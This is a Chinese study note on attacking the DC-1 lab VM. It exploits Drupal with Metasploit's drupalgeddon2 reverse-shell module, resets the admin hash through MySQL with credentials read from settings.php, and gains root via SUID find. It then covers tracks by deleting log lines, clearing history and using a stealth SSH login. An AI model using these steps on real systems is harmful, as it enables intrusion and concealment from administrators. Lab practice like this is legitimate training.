前言
本次学习的是在b站up主泷羽sec课程完整版跳转链接有感而发,如涉及侵权马上删除文章。
笔记的只是方便各位师傅学习知识,以下网站只涉及学习内容,其他的都与本人无关,切莫逾越法律红线,否则后果自负。
!!注意:蓝色点击均可进入相关对应网站。
文章目录
一、靶机下载
DC靶场1-9(全)
靶机官网下载(这个很慢不如上面)
二、开始操作
解压下载好的
双击
开启靶机,网络连接修改为桥接模式
arp-scan -l 看一下网络中的设备及其对应的 MAC 地址
MAC地址一样没问题
nmap 192.168.0.119 -p- -v
有80端口访问一下
尝试了一下万能密码,然后看一下版本系统:Drupal
爆破目录
dirb http://192.168.0.119:80
扫描到一个robots.txt和web.config没有什么作用
扫描漏洞
whatweb -v 192.168.0.119
msfconsole
search Drupal
show payloads
use unix/webapp/drupal_drupalgeddon2
# 或者
use 1
# 然后
show payloads # 显示该模块下的所有payload
set payload/php/meterpreter/reverse_tcp
run
optios
sudo iptables -I INPUT -p tcp --dport 4444 -j ACCEPT
run
set rhosts 你攻击的ip
getuid
后渗透
sysinfo
shell
完事可以使用python调用系统终端
python -c "import pty;pty.spawn('/bin/bash')"
ls看看都有啥
cat flag1.txt
他说下一步要找一个cms的配置文件,一般配置文件都是settings.xxx,这里我们从当前目录模糊查询一下
find . -name 'set*'
cat ./sites/default/settings.php
复制一下数据是masyql的
$databases = array ('default' =>array ('default' =>array ('database' => 'drupaldb','username' => 'dbuser','password' => 'R0ck3t','host' => 'localhost','port' => '','driver' => 'mysql','prefix' => '',),),
);
进入mysql
用户名dbuser 密码R0ck3t
mysql -udbuser -pR0ck3t
查一下表
show databases
;
use drupaldb
show tables;
select * from users; 等于 select * from users\G;
解不出,看下hash
exit
find . -name '*hash*'
cat ./scripts/password-hash.sh 没啥东西
cd ./scripts 看下目录
./scripts/password-hash.sh 123456
获取密码并去mysql修改密码
password: 123456
hash: $S$DVi1ZUQrDwmZj0tT/lAvD.pztpGqoZwMJk/pJXJfoA3MYGG9Jnm7mysql -udbuser -pR0ck3t
USE drupaldb;
UPDATE users
SET pass = '$S$DVi1ZUQrDwmZj0tT/lAvD.pztpGqoZwMJk/pJXJfoA3MYGG9Jnm7'
WHERE name = 'admin';
翻译一下
根据提示找flag4
cat /etc/passwd
cd /home/flag4
ls
cat flag4.txt
ls -l /etc/passwd
查看这个文件的权限,尝试追加用户提权,但是只能root读写
find / -perm -u=s -type f 2>/dev/null
# `1>/dev/null`用于丢弃正常输出,而`2>/dev/null`用于丢弃错误输出。
使用find提权
find / -exec "/bin/bash" -p \;
cd /root
ls
cat thefinalflag.txt
三、痕迹清楚
观察一下我们刚刚使用过的操作,登录数据库(数据库日志),msf漏洞利用(kaliweb请求),命令使用(history)
清理web请求(阿帕奇日志)
find / -name 'access*'
cat /var/log/apache2/access.log
sed -i '/192.168.0.119/d' /var/log/apache2/access.log
sed -i '/192.168.0.100/d' /var/log/apache2/access.log
筛选自己的主机(192.168.209.1)和攻击机器(192.168.209.151)的请求记录
cat /var/log/apache2/access.log
清理错误请求日志
find / -name 'error*'
cat /var/log/apache2/error.log
一大堆kali攻击日志
sed -i '/192.168.0.100/d' /var/log/apache2/error.log
密码还原(之前数据库改成123456了还原一下)
mysql -udbuser -pR0ck3t
USE drupaldb;
UPDATE users
SET pass = '$S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR'
WHERE name = 'admin';
清楚数据库日志
mysql -udbuser -pR0ck3t
show binary logs;
show variables like '%log%'; 查看日志状态
清楚命令历史
history
history -c # 清除命令历史
登录日志这里我们使用的是反弹shell,实际上并没有登录,不会增加一条标准的ssh登录日志,这里跳过。
nmap扫描日志
用自己的kali
cd /tmp
find . -name 'namp'
find . -name '*namp*'
history -c
扩展
ssh -T root@192.168.0.1 /bin/bash -i
隐身登录系统,不会被w、who、last等指令检测到。ssh -o UserKnownHostsFile=/dev/null -T user@host /bin/bash –i
不记录ssh公钥在本地.ssh目录中
总结
今天也是艰难的把DC靶场一打下来了,一步步的复刻就很难,今天也是学到了很多知识,又是开心的一天,明天继续努力。